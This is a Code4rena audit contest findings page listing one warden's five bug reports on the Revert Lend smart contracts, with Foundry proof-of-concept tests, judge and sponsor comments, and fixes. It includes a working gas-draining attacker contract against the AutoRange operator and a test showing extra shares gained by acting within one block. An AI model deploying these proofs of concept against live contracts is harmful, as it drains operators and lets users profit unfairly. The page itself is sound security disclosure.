Platform: Code4rena
Start Date: 04/03/2024
Pot Size: $88,500 USDC
Total HM: 31
Participants: 105
Period: 11 days
Judge: ronnyx2017
Total Solo HM: 7
Id: 342
League: ETH
Rank: 3/105
Findings: 5
Award: $3,684.14
🌟 Selected for report: 2
🚀 Solo Findings: 2
🌟 Selected for report: falconhoof
327.5899 USDC - $327.59
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/transformers/AutoRange.sol#L232
AutoRange execute function will transfer the newly minted UniswapV3 NFT (position) to the owner or the Revert Lend vault:
state.owner = nonfungiblePositionManager.ownerOf(params.tokenId); // get the real owner - if owner is vault - for sending leftover tokens state.realOwner = state.owner; if (vaults[state.owner]) { state.realOwner = IVault(state.owner).ownerOf(params.tokenId); } // send the new nft to the owner / vault nonfungiblePositionManager.safeTransferFrom(address(this), state.owner, state.newTokenId);
The attacker can gas theft/ Dos the operator who calls execute by crafting a suitable onERC721Received
function.
Below is a POC for this issue, this test case to file test/integration/automators/AutoRange.t.sol
and run it using command:
forge test --match-path test/integration/automators/AutoRange.t.sol --match-test testGasTheft -vv
Before running the test, we need to create a smart contract with custom callback:
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; contract GasTheftAttacker { uint256 public n; constructor(uint256 _n) { n = _n; } function onERC721Received(address, address from, uint256 tokenId, bytes calldata data) external returns (bytes4) { console.log("GasTheft onERC721Received"); uint a; // Heavy tasks for(uint i=0; i< n; i++){ a = a + i; } return IERC721Receiver.onERC721Received.selector; } fallback() external payable { } }
Test case:
function testGasTheft() public { bool onlyFees = true; SwapTestState memory state; // Transfer nft to attacker controlled smart contract GasTheftAttacker gasTheftAttacker = new GasTheftAttacker(100000); vm.prank(TEST_NFT_2_ACCOUNT); NPM.transferFrom(TEST_NFT_2_ACCOUNT, address(gasTheftAttacker), TEST_NFT_2); // Config AutoRange vm.startPrank(address(gasTheftAttacker)); NPM.setApprovalForAll(address(autoRange), true); autoRange.configToken( TEST_NFT_2, address(0), AutoRange.PositionConfig( 0, 0, 0, 60, uint64(Q64 / 100), uint64(Q64 / 100), onlyFees, onlyFees ? MAX_FEE_REWARD : MAX_REWARD ) ); (,,,,,,, state.liquidity,,,,) = NPM.positions(TEST_NFT_2); vm.stopPrank(); // Operator run vm.prank(OPERATOR_ACCOUNT); autoRange.execute( AutoRange.ExecuteParams( TEST_NFT_2, false, 0, "", state.liquidity, 0, 0, block.timestamp, onlyFees ? MAX_FEE_REWARD : MAX_REWARD ) ); }
The function onERC721Received
contains only a dummy loop for draining gas, you will see the test results in huge gas consumption (my run result is 23333834 gas).
Manual Review
I recommend updating the execute function to handle 2 cases:
state.owner
is a vault, then keep the original code (because we onERC721Received
of the Vault need to be called)state.owner
is not a vault, then we can just change mintParams.recipient
to the state.owner
(nonfungiblePositionManager.mint
is not a safe mint and callback will be ignored).DoS
#0 - c4-pre-sort
2024-03-20T08:44:16Z
0xEVom marked the issue as duplicate of #459
#1 - c4-pre-sort
2024-03-20T08:44:19Z
0xEVom marked the issue as sufficient quality report
#2 - c4-judge
2024-03-31T13:48:22Z
jhsagd76 marked the issue as satisfactory
🌟 Selected for report: alix40
Also found by: 0xPhantom, Norah, ktg, lanrebayode77
159.2087 USDC - $159.21
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L1155
In contract Vault
, Debt exchange rate and lend exchange rate is only calculated once per block:
function _updateGlobalInterest() internal returns (uint256 newDebtExchangeRateX96, uint256 newLendExchangeRateX96) { // only needs to be updated once per block (when needed) if (block.timestamp > lastExchangeRateUpdate) { (newDebtExchangeRateX96, newLendExchangeRateX96) = _calculateGlobalInterest(); lastDebtExchangeRateX96 = newDebtExchangeRateX96; lastLendExchangeRateX96 = newLendExchangeRateX96; lastExchangeRateUpdate = block.timestamp; emit ExchangeRateUpdate(newDebtExchangeRateX96, newLendExchangeRateX96); } else { newDebtExchangeRateX96 = lastDebtExchangeRateX96; newLendExchangeRateX96 = lastLendExchangeRateX96; } }
This will create issues for transactions happens in the same block, the users could either profit or suffer loss because the exchange rate is not re-calculated. For example a user could borrow and then deposit at the same block, the user will enjoy a lower exchange rate in deposit transaction and receive more shares.
Below is a PoC for the above issue, save these 2 test cases to file test/integration/V3Vault.t.sol
and run it using command:
forge test --match-path test/integration/V3Vault.t.sol --match-test testSameBlockActions -vvvv
function testSameBlockActions1() external { vault.setLimits(0, 150000000, 150000000, 120000000, 120000000); // _setupBasicLoan(false); (,, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT); // vm.prank(TEST_NFT_ACCOUNT); vault.borrow(TEST_NFT, collateralValue); // Deposit again _deposit(10000000, WHALE_ACCOUNT); assertEq(vault.balanceOf(WHALE_ACCOUNT), 20000000); } function testSameBlockActions2() external { vault.setLimits(0, 150000000, 150000000, 120000000, 120000000); // _setupBasicLoan(false); (,, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT); // vm.prank(TEST_NFT_ACCOUNT); vault.borrow(TEST_NFT, collateralValue); // Deposit again vm.warp(block.timestamp + 1); _deposit(10000000, WHALE_ACCOUNT); assertEq(vault.balanceOf(WHALE_ACCOUNT), 19999999); }
In test case testSameBlockActions1
, borrow and deposit happens in the same block, user receive 20000000 shares while in test case testSameBlockActions2
, they happen on different blocks and user only receive 19999999 shares.
Manual Review
I recommend calling _calculateGlobalInterest
every time _updateGlobalInterest
is called.
Timing
#0 - c4-pre-sort
2024-03-22T14:04:04Z
0xEVom marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-03-25T11:43:29Z
0xEVom marked the issue as duplicate of #435
#2 - c4-judge
2024-03-31T03:43:33Z
jhsagd76 changed the severity to 2 (Med Risk)
#3 - c4-judge
2024-04-01T01:25:00Z
jhsagd76 marked the issue as satisfactory
#4 - ktg9
2024-04-03T01:45:14Z
Hi @c4-judge , I think this issue is not a duplicate of #435. What I demonstrated in this issue is that the exchange rates are not updated for actions in the same block -> so users can profit by doing actions on the same block.
If a user performs a series of actions like A, B, C on the same block, then C will enjoy the same exchange rates as A and B even though A and B should have updated exchanges rates.
In the PoC I demonstrated that a user gains more shares in deposit by performing action on the same block with other actions.
Can you check?
#5 - jhsagd76
2024-04-04T08:08:26Z
Maintained, there is no misunderstanding.
🌟 Selected for report: ktg
1577.2848 USDC - $1,577.28
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/automators/Automator.sol#L79-L82 https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/transformers/AutoCompound.sol#L201-L207
Contract AutoCompound
inherits Automator
contract and it contains a function allowing the owner to disable a vault:
function setVault(address _vault, bool _active) public onlyOwner { emit VaultChanged(_vault, _active); vaults[_vault] = _active; }
Unlike AutoExit
and AutoRange
in which disabling Vault
has no effect, if vault is disabled in AutoCompound
then user cannot withdraw their balances:
function withdrawLeftoverBalances(uint256 tokenId, address to) external nonReentrant { address owner = nonfungiblePositionManager.ownerOf(tokenId); if (vaults[owner]) { owner = IVault(owner).ownerOf(tokenId); } if (owner != msg.sender) { revert Unauthorized(); } (,, address token0, address token1,,,,,,,,) = nonfungiblePositionManager.positions(tokenId); uint256 balance0 = positionBalances[tokenId][token0]; if (balance0 > 0) { _withdrawBalanceInternal(tokenId, token0, to, balance0, balance0); } uint256 balance1 = positionBalances[tokenId][token1]; if (balance1 > 0) { _withdrawBalanceInternal(tokenId, token1, to, balance1, balance1); } }
As you can see in the first lines, if vaults[owner] = false
, then owner
must equal msg.sender
, this will not be the case if the user has deposited their position to the Vault and hence cannot withdraw their balances.
Below is a POC for the above issue, save this test case to file test/integration/automators/AutoCompound.t.sol
and run it using command:
forge test --match-path test/integration/automators/AutoCompound.t.sol --match-test testTokenStuck -vvvv
function testTokenStuck() external { vm.prank(TEST_NFT_2_ACCOUNT); NPM.approve(address(autoCompound), TEST_NFT_2); (,,,,,,, uint128 liquidity,,,,) = NPM.positions(TEST_NFT_2); assertEq(liquidity, 80059851033970806503); vm.prank(OPERATOR_ACCOUNT); autoCompound.execute(AutoCompound.ExecuteParams(TEST_NFT_2, false, 0)); (,,,,,,, liquidity,,,,) = NPM.positions(TEST_NFT_2); assertEq(liquidity, 99102324844935209920); // Mock call to nonfungiblePositionManager.ownerOf to simulate // vault change // 0xC36442b4a4522E871399CD717aBDD847Ab11FE88 is the address of nonfungiblePositionManager // 0x6352211e is ERC721 function signature of `ownerOf` address vault = address(0x123); vm.mockCall( 0xC36442b4a4522E871399CD717aBDD847Ab11FE88,(abi.encodeWithSelector( 0x6352211e,TEST_NFT_2) ), abi.encode(vault) ); // Withdraw leftover vm.prank(TEST_NFT_2_ACCOUNT); vm.expectRevert(); autoCompound.withdrawLeftoverBalances(TEST_NFT_2, TEST_NFT_2_ACCOUNT); }
In this test case I simulate the disabling of vault by mockCall
the result of nonfungiblePositionManager.ownerOf(tokenId)
to address(0x123)
, since this address is not vault then the condition vaults[owner]
is false.
Manual Review
I recommend checking the total user left tokens in variable positionBalances
and only allow deactivating the current Vault if the number if zero.
Invalid Validation
#0 - c4-pre-sort
2024-03-22T13:50:11Z
0xEVom marked the issue as primary issue
#1 - c4-pre-sort
2024-03-22T13:50:13Z
0xEVom marked the issue as sufficient quality report
#2 - c4-sponsor
2024-03-26T17:12:09Z
kalinbas (sponsor) confirmed
#3 - kalinbas
2024-03-26T17:12:43Z
Agree this to be an issue, probably will make whitelisting vaults in automators be a non-reversible action
#4 - jhsagd76
2024-03-31T09:00:59Z
A temporary, mitigable DoS caused by normal administrative operations. So valid M.
#5 - c4-judge
2024-03-31T09:01:14Z
jhsagd76 marked the issue as satisfactory
#6 - c4-judge
2024-04-01T15:34:23Z
jhsagd76 marked the issue as selected for report
#7 - kalinbas
2024-04-09T21:43:32Z
🌟 Selected for report: ktg
1577.2848 USDC - $1,577.28
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/automators/Automator.sol#L151-L153 https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/automators/AutoExit.sol#L162-L169 https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/transformers/AutoRange.sol#L157-L164
Contract AutoRange
and AutoExit
both inherits contract Automator
and uses its function _validateSwap
:
function _validateSwap( bool swap0For1, uint256 amountIn, IUniswapV3Pool pool, uint32 twapPeriod, uint16 maxTickDifference, uint64 maxPriceDifferenceX64 ) internal view returns (uint256 amountOutMin, int24 currentTick, uint160 sqrtPriceX96, uint256 priceX96) { // get current price and tick (sqrtPriceX96, currentTick,,,,,) = pool.slot0(); // check if current tick not too far from TWAP if (!_hasMaxTWAPTickDifference(pool, twapPeriod, currentTick, maxTickDifference)) { revert TWAPCheckFailed(); } .... function _hasMaxTWAPTickDifference(IUniswapV3Pool pool, uint32 twapPeriod, int24 currentTick, uint16 maxDifference) internal view returns (bool) { (int24 twapTick, bool twapOk) = _getTWAPTick(pool, twapPeriod); if (twapOk) { return twapTick - currentTick >= -int16(maxDifference) && twapTick - currentTick <= int16(maxDifference); } else { return false; } } ... function _getTWAPTick(IUniswapV3Pool pool, uint32 twapPeriod) internal view returns (int24, bool) { uint32[] memory secondsAgos = new uint32[](2); secondsAgos[0] = 0; // from (before) secondsAgos[1] = twapPeriod; // from (before) // pool observe may fail when there is not enough history available try pool.observe(secondsAgos) returns (int56[] memory tickCumulatives, uint160[] memory) { return (int24((tickCumulatives[0] - tickCumulatives[1]) / int56(uint56(twapPeriod))), true); } catch { return (0, false); } }
The function will revert if the difference between current tick and twap tick > maxTickDifference
. Currently, maxTickDifference
must <= 200 as you can see in function setTWAPConfig
:
function setTWAPConfig(uint16 _maxTWAPTickDifference, uint32 _TWAPSeconds) public onlyOwner { if (_TWAPSeconds < MIN_TWAP_SECONDS) { revert InvalidConfig(); } if (_maxTWAPTickDifference > MAX_TWAP_TICK_DIFFERENCE) { revert InvalidConfig(); } emit TWAPConfigChanged(_TWAPSeconds, _maxTWAPTickDifference); TWAPSeconds = _TWAPSeconds; maxTWAPTickDifference = _maxTWAPTickDifference; }
MAX_TWAP_TICK_DIFFERENCE
= 200.
If for example, maxTWAPTickDifference
= 100, then then function will revert if price difference = 1.0001**100 = 1%.
This will prevent users of AutoExit
and AutoRange
from stopping their loss in case the market drops > 1%.
Lets take an example:
AutoRange
transformerAutoRange.execute
is called with amountIn
= 0, according to the comment in AutoRange.ExecuteParams
struct, then if amountIn
=0, it means no swap:struct ExecuteParams { uint256 tokenId; bool swap0To1; uint256 amountIn; // if this is set to 0 no swap happens bytes swapData; uint128 liquidity; // liquidity the calculations are based on uint256 amountRemoveMin0; // min amount to be removed from liquidity uint256 amountRemoveMin1; // min amount to be removed from liquidity uint256 deadline; // for uniswap operations - operator promises fair value uint64 rewardX64; // which reward will be used for protocol, can be max configured amount (considering onlyFees) }
_decreaseFullLiquidityAndCollect
to withdraw tokens for Alice, AutoRange
still call _validateSwap
to check (although amountIn
is set to 0 - meaning no swap):(state.amount0, state.amount1, state.feeAmount0, state.feeAmount1) = _decreaseFullLiquidityAndCollect( params.tokenId, state.liquidity, params.amountRemoveMin0, params.amountRemoveMin1, params.deadline ); ... // check oracle for swap (state.amountOutMin, state.currentTick,,) = _validateSwap( params.swap0To1, params.amountIn, state.pool, TWAPSeconds, maxTWAPTickDifference, params.swap0To1 ? config.token0SlippageX64 : config.token1SlippageX64 );
The same thing happens in AutoExit
, users cannot withdraw their tokens in case the prices change > 1%.
Below is a POC for the above example, save this test case to file test/integration/automators/AutoRange.t.sol
and run it using command:
forge test --match-path test/integration/automators/AutoRange.t.sol --match-test testNoSwapRevert -vvvv
function testNoSwapRevert() public { bool onlyFees = false; SwapTestState memory state; // Config AutoRange vm.startPrank(TEST_NFT_2_ACCOUNT); NPM.setApprovalForAll(address(autoRange), true); autoRange.configToken( TEST_NFT_2, address(0), AutoRange.PositionConfig( 0, 0, 0, 60, uint64(Q64 / 100), uint64(Q64 / 100), onlyFees, onlyFees ? MAX_FEE_REWARD : MAX_REWARD ) ); (,,,,,,, state.liquidity,,,,) = NPM.positions(TEST_NFT_2); vm.stopPrank(); // (, int24 currentTick,,,,,) = IUniswapV3Pool(0xC2e9F25Be6257c210d7Adf0D4Cd6E3E881ba25f8).slot0(); console.logInt(currentTick); // mock twap data // _maxTWAPTickDifference is currently set as 100 // twapPeriod is 60, // currenttick = -73244 // so the mock twap price = (-6912871013261 - -6912866037401) / 60 = -82931 int56[] memory tickCumulative = new int56[](2); tickCumulative[0] = -6912871013261; tickCumulative[1] = -6912866037401; uint32[] memory secondsAgos = new uint32[](2); secondsAgos[0] = 0; secondsAgos[1] = 60; uint160[] memory secondsPerLiquidityCumulativeX128s = new uint160[](2); vm.mockCall( 0xC2e9F25Be6257c210d7Adf0D4Cd6E3E881ba25f8,(abi.encodeWithSelector(0x883bdbfd,secondsAgos)), abi.encode(tickCumulative,secondsPerLiquidityCumulativeX128s) ); //Operator run vm.prank(OPERATOR_ACCOUNT); vm.expectRevert(); autoRange.execute( AutoRange.ExecuteParams( TEST_NFT_2, false, 0, "", state.liquidity, 0, 0, block.timestamp, onlyFees ? MAX_FEE_REWARD : MAX_REWARD ) ); }
In the test case, I creates a mockCall to uniswap v3 observe
function to simulate a market drop.
Manual Review
I recommend skipping the swap operation if _hasMaxTWAPTickDifference
returns false
instead of reverting,
Invalid Validation
#0 - c4-pre-sort
2024-03-22T14:02:57Z
0xEVom marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-03-25T11:47:46Z
0xEVom marked the issue as insufficient quality report
#2 - 0xEVom
2024-03-25T11:47:47Z
Users have no control over the timing of Automator calls, operators do. If a user wants to quickly exit a position, they can repay.
This is an in-built protection mechanism.
#3 - c4-judge
2024-03-31T04:15:35Z
jhsagd76 marked the issue as unsatisfactory: Invalid
#4 - ktg9
2024-04-03T01:36:35Z
Hi @0xEVom, I have some questions for this issues.
You commented Users have no control over the timing of Automator calls, operators do. If a user wants to quickly exit a position, they can repay.
.
AutoExit
will be called by a bot, users uses a bot to avoid manually exiting their UniswapV3 positions so I think the point If a user wants to quickly exit a position, they can repay.
is not related.
What I meant in this issue is that even if amountIn
is set to 0 (which means no swap), the code still call _validateSwap
and revert if the price fluctuation is too high. Therefore, if execute
is called with amountIn = 0
(which clearly indicates no swap, just withdraw and exit) and the price fluctuation is too high, it will revert. In another word, the code check the condition and revert in situations where users/callers clearly want to neglect that condition.
About This is an in-built protection mechanism.
, I think this is indeed a built-in protection mechanism, but that mechanism is only for cases where swap is needed. In this issue, this mechanism is still activated even when users don't want it and result in their losses.
Can you check again?
#5 - 0xEVom
2024-04-03T07:18:10Z
You're right, repayment of positions is unrelated, my bad. What I should have said was "If a user wants to quickly exit a position, they can do so manually."
As for the no swap case, there is no loss being prevented as the position owner will remain exposed to the same price action.
Nevertheless, the unnecessary call to _validateSwap()
and resulting reverting behavior is a good observation. The judge may want to consider this as QA despite the overinflated severity and invalid assumptions of the original submission.
#6 - ktg9
2024-04-03T08:40:44Z
Hi @0xEVom , @jhsagd76 thank you for your response.
I think the statement If a user wants to quickly exit a position, they can do so manually.
is also unrelated here because the role of AutoExit
is to help users automatically exit a position. You can't expect users to look at market data and exit manually all the time; that's why AutoExit/AutoRange
exists.
The loss here is that AutoExit
cannot help users to automatically exit a position because it reverts on a condition that clearly needed to be omitted due to amountIn =0
(no swap).
I think we all agree that the call to _validateSwap()
is unnecessary here but I disagree that it's just a QA because it can cost huge loss due to users (through AutoExit or AutoRange) unable to exit or re arrange their position.
If users choose to set amountIn
(or swapAmount) = 0, then what they want is I don't want to swap, just exit/autorange my position
, but then AutoExit/AutoRange fails to do this.
#7 - jhsagd76
2024-04-04T07:53:01Z
Good catch! unnecessary _validateSwap
here has genuinely compromised certain functionalities of the protocol. M is justified IMO. Looking forward to the sponsor's perspective. @kalinbas
#8 - c4-judge
2024-04-04T07:53:17Z
jhsagd76 changed the severity to 2 (Med Risk)
#9 - c4-judge
2024-04-04T07:53:23Z
jhsagd76 marked the issue as satisfactory
#10 - c4-judge
2024-04-04T14:09:43Z
jhsagd76 marked the issue as selected for report
#11 - c4-sponsor
2024-04-04T17:54:48Z
kalinbas (sponsor) confirmed
#12 - kalinbas
2024-04-04T17:55:08Z
_validateSwap() is not necessary only if there is no swap, we are going to remove if in that case.
#13 - kalinbas
2024-04-09T17:51:55Z
🌟 Selected for report: Bauchibred
Also found by: 0x11singh99, 0x175, 0xAlix2, 0xDemon, 0xGreyWolf, 0xPhantom, 0xspryon, 14si2o_Flint, Arabadzhiev, Aymen0909, Bigsam, BowTiedOriole, CRYP70, DanielArmstrong, FastChecker, JecikPo, KupiaSec, MohammedRizwan, Norah, Timenov, Topmark, VAD37, adeolu, btk, crypticdefense, cryptphi, givn, grearlake, jnforja, kennedy1030, kfx, ktg, lanrebayode77, n1punp, santiellena, stonejiajia, t4sk, thank_you, tpiliposian, wangxx2026, y0ng0p3, zaevlad
42.7786 USDC - $42.78
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/transformers/AutoRange.sol#L276-L297 https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/transformers/AutoRange.sol#L198-L217
Function AutoRange.configToken
currently does not check if lowerTickDelta
and upperTickDelta
are multiple of tick spacing:
function configToken(uint256 tokenId, address vault, PositionConfig calldata config) external { _validateOwner(tokenId, vault); // lower tick must be always below or equal to upper tick - if they are equal - range adjustment is deactivated if (config.lowerTickDelta > config.upperTickDelta) { revert InvalidConfig(); } positionConfigs[tokenId] = config; emit PositionConfigured( tokenId, config.lowerTickLimit, config.upperTickLimit, config.lowerTickDelta, config.upperTickDelta, config.token0SlippageX64, config.token1SlippageX64, config.onlyFees, config.maxRewardX64 ); }
While at function AutoRange.execute
, the new position lowerTick
and upperTick
is calculated as baseTick + lowerTickDelta
and baseTick + upperTickDelta
. Since baseTick
is already normalized to be multiples of tickSpacing
, if lowerTickDelta
or upperTickDelta
are not multiples of tickSpacing
, nonfungiblePositionManager.mint
will revert and the users cannot stop their loss at critical time.
int24 tickSpacing = _getTickSpacing(state.fee); int24 baseTick = state.currentTick - (((state.currentTick % tickSpacing) + tickSpacing) % tickSpacing); // check if new range same as old range if ( baseTick + config.lowerTickDelta == state.tickLower && baseTick + config.upperTickDelta == state.tickUpper ) { revert SameRange(); } ... INonfungiblePositionManager.MintParams memory mintParams = INonfungiblePositionManager.MintParams( address(state.token0), address(state.token1), state.fee, SafeCast.toInt24(baseTick + config.lowerTickDelta), // reverts if out of valid range SafeCast.toInt24(baseTick + config.upperTickDelta), // reverts if out of valid range state.maxAddAmount0, state.maxAddAmount1, 0, 0, address(this), // is sent to real recipient aftwards params.deadline );
Below is a POC for the above issue, save this test case to file test/integration/automators/AutoRange.t.sol
and test it using command:
forge test --match-path test/integration/automators/AutoRange.t.sol --match-test testTickSpacing -vvvv
function testTickSpacing() external { bool onlyFees = false; SwapTestState memory state; vm.prank(TEST_NFT_2_ACCOUNT); NPM.setApprovalForAll(address(autoRange), true); vm.prank(TEST_NFT_2_ACCOUNT); autoRange.configToken( TEST_NFT_2, address(0), AutoRange.PositionConfig( 0, 0, 0, 59, uint64(Q64 / 100), uint64(Q64 / 100), onlyFees, onlyFees ? MAX_FEE_REWARD : MAX_REWARD ) ); (,,,,,,, state.liquidity,,,,) = NPM.positions(TEST_NFT_2); // Revert vm.prank(OPERATOR_ACCOUNT); vm.expectRevert(); autoRange.execute( AutoRange.ExecuteParams( TEST_NFT_2, false, 0, "", state.liquidity, 0, 0, block.timestamp, onlyFees ? MAX_FEE_REWARD : MAX_REWARD ) ); // Reconfig to set upperTickDelta multiples of tickSpacing vm.prank(TEST_NFT_2_ACCOUNT); autoRange.configToken( TEST_NFT_2, address(0), AutoRange.PositionConfig( 0, 0, 0, 60, uint64(Q64 / 100), uint64(Q64 / 100), onlyFees, onlyFees ? MAX_FEE_REWARD : MAX_REWARD ) ); // Success vm.prank(OPERATOR_ACCOUNT); autoRange.execute( AutoRange.ExecuteParams( TEST_NFT_2, false, 0, "", state.liquidity, 0, 0, block.timestamp, onlyFees ? MAX_FEE_REWARD : MAX_REWARD ) ); }
Manual Review
The function configToken
should check and revert if lowerTickDelta
or upperTickDelta
not multiples of tickSpacing.
Invalid Validation
#0 - c4-pre-sort
2024-03-22T09:27:58Z
0xEVom marked the issue as insufficient quality report
#1 - 0xEVom
2024-03-22T09:28:05Z
User error/QA
#2 - jhsagd76
2024-04-01T13:45:22Z
User error but sounds like it is possible
#3 - c4-judge
2024-04-01T13:45:29Z
jhsagd76 changed the severity to QA (Quality Assurance)
#4 - c4-judge
2024-04-01T13:45:33Z
jhsagd76 marked the issue as grade-a